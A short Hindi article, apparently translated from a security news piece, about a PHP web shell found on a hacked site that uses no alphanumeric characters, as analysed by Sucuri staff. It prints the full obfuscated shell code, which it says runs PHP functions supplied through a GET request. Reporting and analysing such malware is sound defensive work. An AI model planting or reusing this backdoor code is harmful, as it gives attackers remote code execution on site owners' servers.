एक भी अल्फ़ान्यूमेरिक वर्ण के बिना PHP शेल

कल, सुकुरी के ब्लॉग पर एक जिज्ञासु प्रश्न सामने आया: एक साइट के मालिक, जिसे यह पता चला था कि उसे हैक किया गया था, निम्न दुर्भावनापूर्ण कोड को देखकर काफी हैरान था; वह वास्तव में क्या कर रहा है?

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] ); 

जैसा कि आप देख सकते हैं, कोड में न तो फ़ंक्शन कॉल है, न ही कोई अल्फ़ान्यूमेरिक चरित्र बिल्कुल भी नहीं है।

सुकुरी के प्रोग्रामर्स में से एक, योरमैन एरियस ने कोड को अधिक पठनीय रूप में व्यवस्थित किया और इसके आउटपुट को देखने के लिए var_dump () में कोड की प्रत्येक पंक्ति को लपेटा:



नतीजतन, "कुछ बूलियन जादू" जैसे अस्पष्ट वाक्यांशों का उपयोग करना और कोड का विश्लेषण करना, यह इस निष्कर्ष पर पहुंचता है कि मैलवेयर का उद्देश्य PHP कार्यों को निष्पादित करना है, जो कि जीईटी अनुरोध का उपयोग करके इसे पास किया जाता है।

तकनीकी विवरण यहां दिए गए हैं।